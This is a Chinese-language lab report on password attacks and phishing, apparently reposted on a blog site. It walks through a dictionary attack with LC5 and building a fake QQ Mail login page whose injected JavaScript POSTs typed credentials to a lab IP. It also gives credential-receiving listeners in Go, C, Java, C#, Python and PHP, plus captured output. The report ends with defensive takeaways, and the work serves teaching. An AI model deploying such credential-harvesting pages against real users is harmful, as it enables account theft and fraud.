口令攻击和钓鱼攻击

口令攻击和钓鱼攻击

1、实验说明

口令攻击和钓鱼攻击是生活中两种较为常见的攻击方式, 通过对攻击过程的复现, 能够让学生对其有直观的认识, 进而思考相应的防范措施。

2、实验目的

(1 )能够了解实验规范和实验所需的编程环境

(2 )能够理解社会工程学在口令攻击中的作用, 掌握设计安全口令的方法

(3 )能够掌握钓鱼攻击技术和相应的防范手段

(4 )培养公民意识, 提高社会责任感,积极向社会普及信息安全知识

练习 1 Windows口令破解

字典破解是口令攻击的一种常用方式, 是指破解者通过对用户的了解,猜测其可能使用某些信息作为密码,例如其姓名、生日、电话号码等,同时结合 对密码长度的猜测,利用工具来生成密码破解字典。

基本操作

(1 )两人一组,相互为对方计算机新增账户并设置密码,并向对方提供一 定的提示信息。为了达到实验效果,用户口令不要设置得过于复杂。

计算机右键,管理 ,创建新用户

image-20220415173958170

(2 )根据对方所给的提示,并结合自己日常的了解猜测可能设置的密码, 生成密码字典。

(3 )进入实验平台,单击工具栏“字典生成器”按钮,启动“字典生成器” 。 选择“生日”标签页,输入的年份与月份信息应尽量包含步骤(1) 中用到的生日日 期,在“生成字典”标签页中确定字典文件存放的路径以及新用户口令位数,最 后生成字典文件。

(4 )单击工具栏LC5按钮,启动LC5口令破解工具。选择Session(会话)|Session Options…(会话选项)菜单项,在弹出的Auditing Options For This Session对话框中选中Dictionary Crack项的Enabled,取消其它项的Enabled。单击Dictionary List(字典列表)按钮,导入步骤(2)中生成的字典文件。返回LC5主界面,选择SessionImport…(导入)菜单项,在弹出的Import对话框中导入本地用户列表,选择SessionBeginAudit(开始审计)菜单项,开始字典破解用户口令。

image-20220415174025065

思考与总结

(1 )总结设计安全口令的因素,以及应如何设计安全的口令。

  • 增加密码长度和样式,不短于6位,使用大小写字母、数组、字符组合
  • 避开个人信息,不要使用生日、手机号、车牌号等,实在想使用可以用身边人的信息
  • 定期修改密码
  • 避免个人信息泄露
  • 避免同一密码重复使用

练习 2 QQ邮箱的钓鱼攻击

从社会工程学的角度来说,往往由于用户的疏忽大意,不小心访问了错误 的网站,而该网站的页面与正常网站并无差别,用户在输入个人私密信息后, 用户的敏感信息便被非法的窃取。

钓鱼

1、构造钓鱼页面

(1 )打开 https://mail.qq.com/ ,右键快捷菜单保存 QQ 邮箱首页,保存网页的全部内容, 如图所示。

image-20220412234309017

image-20220412234050998

(2 )用文本编辑器打开文件夹中的 xlogin.html 文件,定位到登录按钮 (login_button)代码处,为其添加单击事件。同时,在<script>区域中添加单击click事件响应函数, 将得到的账号和密码通过 HTTP/POST 方法发送至目标服务器,并将其中的 IP 地址修改为实验所用主机的 IP 地址, 如图所示。

在代码中我们可以找到 <input >标签,这是一种用于为基于 Web 的表单创建交互式控件的HTML <input> 元素,而其又同时指定了type为submit,表明这是用于提交表单的按钮。

 onclick="saveAccount()"

image-20220413000145345

接下来编写 saveAccount()函数,该会在按钮点击时间时触发,其是通过id取值,随后建立HTTP请求将信息发送到指定位置。通过浏览器调试我们可以发现,id为'u'的正是第一个输入框,同样,id为'p'的是第二个输入框。

image-20220413001435669

function saveAccount() {// 通过 id 获取元素值var user = document.getElementById("u").value;var passwd = document.getElementById("p").value;// 创建XMLHttpRequest 对象var httpRequest = new XMLHttpRequest();// 建立一个 HTTP 异步请求httpRequest.open('POST', 'http://XXX.XXX.XXX.XXX:9090', true);// 设置HTTP请求头部 C..参数的值为ap...httpRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");// 	发送请求httpRequest.send('user=' + user + 'pwd=' + passwd);
}

为登录按钮添加单击事件和响应函数

## 接收

2 、接收钓鱼所得的账号和密码(分档)
(1 )第一档:编写网络服务端程序, 接收并显示钓鱼页面所发送的账号和密码, 编程语言不限, C 、Java 、C# 、Python 均可, 系统运行环境不限。

Go

提供的几种语言都是比较常见的,那么我们先使用Go语言实现,如果使用jetBrain系列产品可能会比较慢,我们可以直接在命令行运行。

package main
import ("bufio""fmt""io""log""net"
)func main() {ln, err := net.Listen("tcp", ":9090")if err != nil {panic(err)}conn, err := ln.Accept()if err != nil {log.Fatal("get client connection error: ", err)}br := bufio.NewReader(conn)for{data, err := br.ReadString('\n')if err == io.EOF{break}fmt.Printf("%s", data)fmt.Fprintf(conn, "OK\n")}conn.Close()
}

image-20220413201242111

C/CPP

如果你使用CLion 要在CMakeLists.txt文件中添加link_libraries(ws2_32)

#include <stdio.h>
#include <stdlib.h>
#include <WinSock2.h>
#pragma comment(lib, "ws2_32.lib")  //加载 ws2_32.dll
#define BUF_SIZE 1024//变量声明
WSADATA wsd;
SOCKET sServer; //用于监听
SOCKET sClient; //实现与客户端通信
int retVal;
SOCKADDR_IN addrsServ{}; // C语言就去除{}
char buf[BUF_SIZE];    //用于接收数据int main(){//初始化if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0){printf("WSAstartup failed!\n");return 0;}//监听sServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if (INVALID_SOCKET == sServer){printf("socket error!\n");WSACleanup();return 0 ;}printf("TCP socket Success!\n");// bind 设置地址addrsServ.sin_family = AF_INET;addrsServ.sin_addr.s_addr = inet_addr("192.168.43.161");addrsServ.sin_port = htons(9090);addrsServ.sin_addr.S_un.S_addr = htonl(INADDR_ANY);int sSreveraddlen = sizeof(addrsServ);//绑定地址retVal = bind(sServer, (const struct sockaddr *)&addrsServ, sizeof(SOCKADDR_IN));if (SOCKET_ERROR == retVal){printf("bind failed!\n");closesocket(sServer);WSACleanup();return 0;}printf("bind Success!\n");//监听 listenretVal = listen(sServer, 1);if (SOCKET_ERROR == retVal){printf("listen failed!\n");closesocket(sServer);WSACleanup();return 0 ;}printf("listen Success!\n");//接收数据SOCKADDR_IN addrcClient{}; // C语言就去除{}int cClientaddlen = sizeof(addrcClient);sClient = accept(sServer, (struct sockaddr *)&addrcClient, &cClientaddlen);if (INVALID_SOCKET == sClient){printf("accept failed!\n");closesocket(sServer);closesocket(sClient);WSACleanup();return 0;}printf("perfect!\n");// 阻塞等待 一直接收ZeroMemory(buf, BUF_SIZE);retVal = recv(sClient, buf, 1024, 0);if (SOCKET_ERROR == retVal) {printf("recv failed!");closesocket(sServer);closesocket(sClient);WSACleanup();return 0;}printf("\nMessage form server: %s\n", buf);
}

运行效果,发现成功将用户名密码发送出来。

image-20220413161934048

Java

也可以使用Java监听,但不知为何,Java很长一段都处于阻塞状态,接收完标头后很久才接收数据,后来发现这是read()方法当读取完数据之后就开始阻塞,但还要一直等到返回-1才能结束。

package com.tcp.listen;import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;public class Listen {public static void main(String[] args) throws IOException {try (ServerSocket ss = new ServerSocket(9090);Socket s = ss.accept();InputStream is = s.getInputStream();InputStreamReader isr = new InputStreamReader(is);BufferedReader br = new BufferedReader(isr);) {for (int i = 0; i < 20; i++) {System.out.println(br.readLine());}} catch (IOException e) {e.printStackTrace();}}
}

image-20220413174248645

C#

using System;
using System.Net;               // 引入这两个命名空间,以下同
using System.Net.Sockets;
using System.Text;namespace ConsoleAppListen
{class Program{static void Main(string[] args){const int BufferSize = 8192;    // 缓存大小,8192字节Console.WriteLine("Server is running ... ");IPAddress ip = new IPAddress(new byte[] {192, 168, 43, 161});TcpListener listener = new TcpListener(ip, 9090);listener.Start(); // 开始侦听Console.WriteLine("Start Listening ...");// 获取一个连接,中断方法TcpClient remoteClient = listener.AcceptTcpClient();// 获得流,并写入buffer中NetworkStream streamToClient = remoteClient.GetStream();byte[] buffer = new byte[BufferSize];int bytesReadLen = streamToClient.Read(buffer, 0, BufferSize);// 获得请求的字符串string msg = Encoding.UTF8.GetString(buffer, 0, bytesReadLen);Console.WriteLine("Received: {0}", msg);}}
}

image-20220413211621551

Python

import socket
# 创建流式套接字
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 监听端口
s.bind(('192.168.43.161', 9090))
# 最大连接数量
s.listen(5)
print('Waiting for connection...')while True:# 接受一个新连接sock, addr = s.accept()print('Connect Success!')# 创建新线程来处理TCP连接:data = sock.recv(1024)  # 接受的数据print(data.decode())  # 将数据进行解码

image-20220413203326256

PHP

<?php
$ip = '192.168.43.161';
$port = 9090;
//创建socket
$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
//把socket绑定在一个IP地址和端口上
socket_bind($socket,$ip,$port);
//监听由指定socket的所有连接
socket_listen($socket,4);
while(true){//接收一个Socket连接$sk = socket_accept($socket);// 获得客户端的输入$buf = socket_read($sk, 2048);echo $buf;//关闭socketsocket_close($sk);
}
?>

image-20220413223216659

验证

3 、实验验证

(1 )用浏览器打开保存的 QQ 邮箱首页,填写账号和密码, 然后单击登录按钮, 观察服务端程序所接收到的数据。

POST / HTTP/1.1
Host: 192.168.43.161:9090
Connection: keep-alive
Content-Length: 19
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Content-type: application/x-www-form-urlencoded
Accept: */*
Origin: null
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8user=123456&pwd=123

我们可以发现其内容正是此次HTTP POST请求的标头

image-20220413224200206

再加上我们编写的用户名密码

该过程本应将保存的 QQ 邮箱首页所有文件部署到 Web 服务器上, 并设置 一个相近的域名。 考虑到实验实施和重点操作情况,以在本地打开的方式完成 实验验证。

思考

4 、思考与总结

谈谈自己对钓鱼攻击的认识, 以及如何防范这类攻击。

  • 不要点击陌生的连接,尤其是steam等平台
  • 在日常生活中,大多数钓鱼信息通过邮箱发送,不要点击陌生人发来的邮件
  • 使用正规浏览器,谨慎查看域名是否正确,要看主域名,忽略子域名
  • 不要无视浏览器的安全警告


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/4030.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

考前64天 学习笔记 - 形成“习惯体系”进行最小启动

从2025年1月18日到3月22日还剩64天 一、备考心态 这几天摆烂&#xff0c;并没有怎么学&#xff0c;败在了游戏和短视频上。 每分每秒都在抵御其他诱惑 科学表明&#xff1a;人在做自己不喜欢的事情&#xff0c;意志力最多能挺25分钟 如何稳定自己的心态&#xff0c;答案就在…

【python_钉钉群发图片】

需求&#xff1a; **在钉钉群发图片&#xff0c;需要以图片的形式展示&#xff0c;如图所示&#xff1a;**但是目前影刀里面没有符合条件的指令 解决方法&#xff1a; 1、在钉钉开发者后台新建一个自建应用&#xff0c;发版&#xff0c;然后获取里面的appkey和appsecret&am…

R数据分析:有调节的中介与有中介的调节的整体介绍

单独的有调节的中介或者有中介的调节好多同学还大概能看明白,但是两个东西一起说我发现大部分同学就懵逼了。今天我就尝试将两种方法一起讲讲,重点帮助大家厘清两种方法的异同。 先从整体上看下两者的概念: 有中介的调节首先落脚在调节,调节作用必须是显著的,并且这个调…

DETR论文阅读

1. 动机 传统的目标检测任务需要大量的人工先验知识&#xff0c;例如预定义的先验anchor&#xff0c;NMS后处理策略等。这些人工先验知识引入了很多人为因素&#xff0c;且较难处理。如果能够端到端到直接生成目标检测结果&#xff0c;将会使问题变得很优雅。 2. 主要贡献 提…

天机学堂5-XxlJobRedis

文章目录 梳理前面的实现&#xff1a;Feign点赞改进 day07-积分系统bitmap相关命令签到增加签到记录计算本月已连续签到的天数查询签到记录 积分表设计签到-->发送RabbitMQ消息&#xff0c;保存积分对应的消费者&#xff1a;**消费消息 用于保存积分**增加积分查询个人今日积…

万字长文介绍ARINC 653,以及在综合模块化航空电子设备(IMA)中的作用

文章目录 一、引言二、ARINC 653背景三、整体系统架构四、应用/执行&#xff08;APEX&#xff09;接口五、ARINC 653 RTOS内部机制六、健康监测功能七、软件应用八、ARINC 653现状九、总结 一、引言 在现代航空领域&#xff0c;综合模块化航空电子设备&#xff08;IMA&#xf…

认识 MySQL 和 Redis 的数据一致性问题

参考&#xff1a;https://zhuanlan.zhihu.com/p/429637485 1. 什么是数据的一致性 “数据一致”一般指的是&#xff1a;缓存中有数据&#xff0c;缓存的数据值 数据库中的值。 但根据缓存中是有数据为依据&#xff0c;则”一致“可以包含两种情况&#xff1a; 缓存中有数据…

【论文笔记】SmileSplat:稀疏视角+pose-free+泛化

还是一篇基于dust3r的稀疏视角重建工作&#xff0c;作者联合优化了相机内外参与GS模型&#xff0c;实验结果表明优于noposplat。 abstract 在本文中&#xff0c;提出了一种新颖的可泛化高斯方法 SmileSplat&#xff0c;可以对无约束&#xff08;未标定相机的&#xff09;稀疏多…

创建 pdf 合同模板

创建 pdf 合同模板 一、前言二、模板展示三、制作过程 一、前言 前段时间要求创建“pdf”模板&#xff0c;学会了后感觉虽然简单&#xff0c;但开始也折腾了好久&#xff0c;这里做个记录。 二、模板展示 要创建这样的模板 三、制作过程 新建一个“Word”&#xff0c;这里命…

电力场景红外测温图像绝缘套管分割数据集labelme格式2436张1类别

数据集格式&#xff1a;labelme格式(不包含mask文件&#xff0c;仅仅包含jpg图片和对应的json文件) 图片数量(jpg文件个数)&#xff1a;2436 标注数量(json文件个数)&#xff1a;2436 标注类别数&#xff1a;1 标注类别名称:["arrester"] 每个类别标注的框数&am…

【网络协议】RFC3164-The BSD syslog Protocol

引言 Syslog常被称为系统日志或系统记录&#xff0c;是一种标准化的协议&#xff0c;用于网络设备、服务器和应用程序向中央Syslog服务器发送日志消息。互联网工程任务组&#xff08;IETF&#xff09;发布的RFC 3164&#xff0c;专门定义了BSD Syslog协议的规范和实现方式。通…

正态分布检验(JB检验和威尔克检验)和斯皮尔曼相关系数(继上回)

正态分布的检验 1,JB检验(n>30) (1)偏度和峰度 描述函数正不正&#xff0c;高不高的 Matlab中计算偏度和峰度的函数是&#xff1a;skewness() 和 kurtosis() 我们以normrnd来生成一个100*1的均值为2,标准差为3的正态分布(这里采用的第一个公式) 得到下面的数据,因为这个…

搭建一个基于Spring Boot的书籍学习平台

搭建一个基于Spring Boot的书籍学习平台可以涵盖多个功能模块&#xff0c;例如用户管理、书籍管理、学习进度跟踪、笔记管理、评论和评分等。以下是一个简化的步骤指南&#xff0c;帮助你快速搭建一个基础的书籍学习平台。 — 1. 项目初始化 使用 Spring Initializr 生成一个…

基于Python的心电图报告解析与心电吸引子绘制

一、引言 1.1 研究背景与意义 心脏作为人体的核心器官&#xff0c;其正常电活动对于维持生命活动至关重要。心电图&#xff08;Electrocardiogram&#xff0c;ECG&#xff09;作为记录心脏电活动随时间变化的重要工具&#xff0c;能够直观反映心脏的节律、传导等功能状态&…

【大数据】机器学习------支持向量机(SVM)

支持向量机的基本概念和数学公式&#xff1a; 1. 线性可分的支持向量机 对于线性可分的数据集 &#xff0c;其中(x_i \in R^d) 是特征向量 是类别标签&#xff0c;目标是找到一个超平面 &#xff0c;使得对于所有 的样本 &#xff0c;对于所有(y_i -1) 的样本&#xff0c;…

左神算法基础提升--4

文章目录 树形dp问题Morris遍历 树形dp问题 求解这个问题需要用到我们在基础班上学到的从节点的左子树和右子树上拿信息的方法。 求最大距离主要分为两种情况&#xff1a;1.当前节点参与最大距离的求解&#xff1b;2.当前节点不参与最大距离的求解&#xff1b; 1.当前节点参与最…

53,【3】BUUCTF WEB october 2019 Twice SQLinjection

题目得到信息&#xff0c;2次注入&#xff0c;进入靶场 登录页面&#xff0c;很自然想到SQL 第一次注入应该是这个可以登录&#xff0c;注册&#xff0c;提交简介的页面 第二次注入应该是在info处注入&#xff0c;信息显示在简介处 我真的纯脑子有病&#xff0c;人家二次注入不…

python编程-OpenCV(图像读写-图像处理-图像滤波-角点检测-边缘检测)图像变换

形态变换 图像处理中的形态学操作是处理图像结构的有效方法。以下是一些常见的形态学操作的介绍及其在 OpenCV 中的实现示例。 1. 腐蚀&#xff08;Erosion&#xff09; 腐蚀操作通过消除图像边界来减少图像中的白色区域&#xff08;前景&#xff09;&#xff0c;使物体的边…

Spring Boot + Apache POI 实现 Excel 导出:BOM物料清单生成器(支持中文文件名、样式美化、数据合并)

目录 引言 Apache POI操作Excel的实用技巧 1.合并单元格操作 2.设置单元格样式 1. 创建样式对象 2. 设置边框 3. 设置底色 4. 设置对齐方式 5. 设置字体样式 6.设置自动换行 7. 应用样式到单元格 3. 定位和操作指定单元格 4.实现标签-值的形式 5.列宽设置 1. 设…

python(25) : 含有大模型生成的公式的文本渲染成图片并生成word文档(支持flask接口调用)

公式样例 渲染前 \[ \sqrt{1904.615384} \approx 43.64 \] 渲染后 安装依赖 pip install matplotlib -i https://mirrors.aliyun.com/pypi/simple/ requestspip install sympy -i https://mirrors.aliyun.com/pypi/simple/ requestspip install python-docx -i https…